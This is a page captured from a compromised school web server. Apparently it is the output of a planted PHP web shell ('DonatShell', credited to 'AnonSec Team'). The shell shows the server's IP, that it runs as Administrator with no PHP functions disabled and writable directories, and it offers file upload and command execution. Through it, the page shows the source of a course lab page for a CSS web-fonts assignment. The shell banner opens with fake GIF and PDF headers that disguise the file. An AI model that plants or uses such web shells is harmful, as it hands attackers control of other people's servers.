GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST1021/Labs/Lab09/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST1021/Labs/Lab09/Lab09.phpinc
<?
// JimMartinson/CST1021/Labs/Lab04/Lab04.phpinc

$css .= ',colorCode.css';
require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.

$disabled = '';
$disabled = ' disabled';

require('common/Browser/Browser.phpinc');
?>

<fieldset><legend>Description</legend>
The purpose of this lab is to demonstrate your ability to use css web fonts.
<?=$gradeNote?>
<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<fieldset><legend><?=$evaluationType?> Instruction</legend>
<ol id="main" class="count">
	
	<li>Create a folder for this <?=strtolower($evaluationType)?> named <b class="copyText"><?=$evaluationName?></b> and keep all documents used for <?=$evaluationType?> <?=$evaluationNumber?> in that folder.</li>
	
	<li>Select two fonts for use in your lab:
		<ol>
			<li>Find a font you want to use.</li>
			<li>Download the font file(s) amd save them in you <b class=""><?=$evaluationName?></b> folder.
			</li>
			<li>Convert it if necessary so you have a .ttf and either a .woff or .woff2 font format file (You can have both).
				<br><span class="note normal">You are required to have a .ttf font format file and either/both a .woff/.woff2 font format file.</span>
			</li>
		</ol>
	</li>
	<li class="css">Create an external style sheet named <b class="copyText"><?=$evaluationName?>.css</b>.
		<br><span class="note normal">All css declarations must be in the <b><?=$evaluationName?>.css</b> style sheet. No other external style sheets may be loaded. No internal or inline styles may be used in the html.</span>
		<ol>
			<li>At the top of the style sheet, set the character set with: <tag>@charset <val>"utf-8"</val>;</tag></li>
			<li>Add this comment: <comment>/* <?=$evaluationType?> <?=$evaluationNumber?> External Style Sheet - <?=$userFullName?> */</comment></li>
			<li>Set up the first font using @font-face for all font format files (ttf and either woff or woff2).</li>
			<li>Set up the second font using @font-face for all font format files (ttf and either woff or woff2).</li>
			<li>Add CSS as needed to style <?=$evaluationName?>.html.</li>
		</ol>
		<span class="note">Each of your fonts must be available in two formats. One of them must be ttf and the other can be either woff or woff2.</span>
		<br>
		<span class="note">You may also download and use different font style files like normal, light, bold, italic, etc. and set them up but it is not required.</span>
  </li>
	
	<li class="page">Create a web page named <b class="copyText"><?=$saveFilename?>.html</b>.
		<br><span class="note normal">All css declarations must be in the external style sheet. No internal or inline styles may be used in the html.</span>
		<br>This code and these elements need to be present:
		<ol>
			<li>The page must contain the foundation tags. <a href="#notes" class="smaller">See notes</a></li>
			<li>Title the page <span-content class="copyText"><?=$pageTitle?></span-content>.</li>
			<li>The way the page looks is of your choosing, but these elements need to be present as a minimum:
				<ol>
					<li>Use the first font effectively in your page.</li>
					<li>Use the second font effectively in your page.</li>
					<li>Provide links to where you obtained the fonts.</li>
				</ol>
			</li>
		</ol>
  </li>
	
	<li>Demonstrate the web page.
		<ol>
		<li>Open a browser and load the <b><?=$evaluationName?>.html</b> page.</li>
		<li><b class="info">Take a screenshot</b> and save it in the <b><?=$evaluationName?></b> directory as <b class="copyText" style="white-space:nowrap;"><?=$courseNumber?>_<?=$evaluationName?>_<?=$userFileName?>.png</b>.
			<br><div id="show_page_a" class="inline"><a href="#" onClick="divHide('show_page_a'); divShow('hide_page_a'); return false;">See an example screenshot:</a></div>
			<div id="hide_page_a" class="hidden"><a href="#" onClick="divHide('hide_page_a'); divShowInline('show_page_a'); return false;">Hide the screenshot.</a>
			<? BrowserBegin($evaluationType.' '.$evaluationNumber.' - Jim Martinson','file:///'.$courseNumber.'/'.$evaluationName.'/'.$evaluationName.'.html'); ?>
			<img src="example.png" alt="example">
			<? BrowserEnd(); ?>
			</div>
		</li>
		</ol>
	</li>
	
  <li>Turn in your assignment:
		<ol type="a">
			<li>Ensure the following files are in your <b><?=$evaluationName?></b> folder:<?
$fileList = array(
	$evaluationName.'.css',
	$saveFilename.'.html',
	$courseNumber.'_'.$evaluationName.'_'.$userFileName.'_'.'.png',
	'All of the font files for the two fonts you used in this lab (there should be two or more of them).',
);
	natcasesort($fileList);
						foreach ($fileList as $fileName) {
?>
				<br><?=$fileName?>
<?
						}
?>
			</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li>
		</ol>
  </li>
</ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>
<script src="/js/colorCode.js"></script>
<?
$PartialGradingCriteria = '
Deductions for any elements required by the lab that are not present or incorrect:
<br>
-assignmentPoints if the <a href="https://jigsaw.w3.org/css-validator/validator.html.en#validate_by_input">CSS Validation Service</a> or <a href="https://validator.w3.org/#validate_by_input">Markup Validation Service</a> report errors.
No further grading will be done.
<br>
-8 for each missing declaration, element, or like group.
<br>
-4 for each incorrect declaration, element, or like group.
<br>
-1 for any additional css declarations or html elements that have errors. 
<br>
<span class="note">Do not add any additional code or styling other than what is required by the lab.
<br>I will deduct points for additional code or styling that are incorrect or cause problems.</span>
';
require('../LabNotes.phpinc');
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
#require('../../ReferencesResources.phpinc');
#require($Instructor['Path'].'/ContactInformation.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team